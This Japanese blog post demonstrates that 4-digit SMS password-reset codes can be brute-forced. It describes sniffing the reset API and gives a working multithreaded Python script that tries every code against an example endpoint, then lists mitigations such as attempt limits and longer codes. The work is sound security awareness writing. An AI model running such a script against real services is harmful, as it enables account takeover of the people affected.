パスワード再設定のSMS認証コードの強度と安全性の問題
Python を使ったブルートフォース攻撃の深刻さのデモンストレーション

Photo by Matt Artz
前書き
本文は特に情報セキュリティの技術的内容はなく、単に先日あるプラットフォームのウェブサイトを使っている際の思いつきで、安全性を試してみたところ問題を発見した話です。
サイトやアプリのパスワードリセット機能を使う際、一般的に2つの選択肢があります。1つはアカウント名やメールアドレスを入力し、トークンを含むパスワードリセットページのリンクがメールで送られてくる方法です。リンクをクリックしてページを開けばパスワードをリセットできます。この部分は特に問題ありません。ただし、以前の記事で述べたように、設計に脆弱性がある場合は問題となります。
もう一つのパスワード再設定方法は、登録済みの電話番号を入力する(主にAPPサービスで使われる)ことで、SMSで認証コードが送信され、そのコードを入力するとパスワードをリセットできる仕組みです。しかし利便性のため、多くのサービスは認証コードに数字のみを使用しています。また、iOS 11以降でPassword AutoFill機能が追加されたため、認証コードを受信するとキーボードが自動で判別し、入力候補を表示します。

查找 公式ドキュメント によると、Appleは認証コードの自動入力判定ルールを明示していません。しかし、自動入力対応サービスのほとんどが数字のみを使用しているため、数字と英字の混合した複雑な組み合わせは使えないと推測されます。
問題
数字パスワードの組み合わせはブルートフォース攻撃の可能性があり、特に4桁のパスワードは要注意です。組み合わせは0000〜9999の10,000通りしかなく、複数のスレッドや複数台の機械を使えば分割してブルートフォース攻撃が可能です。
検証リクエストの応答に0.1秒かかると仮定すると、10,000通りの組み合わせ = 10,000回のリクエストになります。
解読に必要な試行時間:((10,000 * 0.1) / スレッド数) 秒
スレッドを使わなくても、16分ほどで正しいSMS認証コードを試し出すことができます。
パスワードの長さや複雑さが不足していることに加え、認証コードに試行回数の制限がなく、有効期限が長すぎる問題もあります。
組み合わせ
総合すると、このセキュリティ問題は主にAPP側で発生します。ウェブサービスでは、多くの場合、複数回の誤入力後に画像認証を追加したり、パスワード再設定時に複数のセキュリティ質問を求めるなど、認証リクエストの難易度を上げています。また、ウェブサービスの認証がフロントエンドとバックエンドで分離されていない場合、認証リクエストごとにページ全体を取得する必要があり、リクエストの応答時間が長くなります。
APP側はフロー設計やユーザーの利便性のため、パスワード再設定の手続きを簡略化することが多く、中には携帯電話番号の認証だけでログインできるAPPもあります。API側での防護がないと、セキュリティ上の脆弱性が生じます。
実践
⚠️警告⚠️ 本記事はこのセキュリティ問題の深刻さを示すためのものであり、不正行為に使用しないでください。
認証リクエストAPIのスニッフィング
万事はスニッフィングから始まります。この部分は以前の記事「 APPはHTTPSで通信しているのにデータが盗まれた。 」や「 Python+Google Cloud Platform+Line Botでルーティン作業を自動化する 」を参考にしてください。原理を理解するには前者の記事がおすすめで、スニッフィングには後者の記事で紹介している Proxyman を使うと良いでしょう。

前後端が分離しているウェブサービスでも、Chromeの「検証」→「ネットワーク」で、認証コード送信後にどんなリクエストが送られたか確認できます。

こちらでは取得した検証コードのリクエストを以下と仮定します:
POST https://zhgchg.li/findPWD
phone=0911111111&code=0000
レスポンス:
{
"status":false
"msg":"認証エラー"
}
ブルートフォース攻撃用 Python スクリプト作成
crack.py:
import random
import requests
import json
import threading
phone = "0911111111"
found = False
def crack(start, end):
global found
for code in range(start, end):
if found:
break
stringCode = str(code).zfill(4)
data = {
"phone" : phone,
"code": stringCode
}
headers = {}
try:
request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers)
result = json.loads(request.content)
if result["status"] == True:
print("Code is:" + stringCode) # コードが正しい場合に表示
found = True
break
else:
print("Code " + stringCode + " is wrong.") # コードが間違っている場合に表示
except Exception as e:
print("Code "+ stringCode +" exception error \(" + str(e) + ")") # 例外エラー発生時に表示
def main():
codeGroups = [
[0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000],
[5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000]
]
for codeGroup in codeGroups:
t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],))
t.start()
main()
スクリプトを実行した結果、以下のようになりました:

認証コードは:1743
1743 を入力してパスワードをリセットし、元のパスワードを変更するか、直接アカウントにログインします。
Bigo!
解決策
-
パスワードリセットに追加の情報認証を導入する(例:生年月日、秘密の質問)
-
認証コードの長さを増やす(例:Appleの6桁数字)、認証コードの複雑さを高める(AutoFill機能に影響しない場合)
-
認証コードの試行回数が3回を超えた場合、無効にし、ユーザーに再送信を促す必要があります。
-
認証コードの有効期限を短縮する
-
認証コードの誤入力が多すぎる場合はデバイスをロックし、画像認証コードを追加する
-
APPはSSLピニングや通信の暗号化を強化する(盗聴防止のため)
関連記事
Post は Medium から ZMediumToMarkdown によって変換されました。



コメント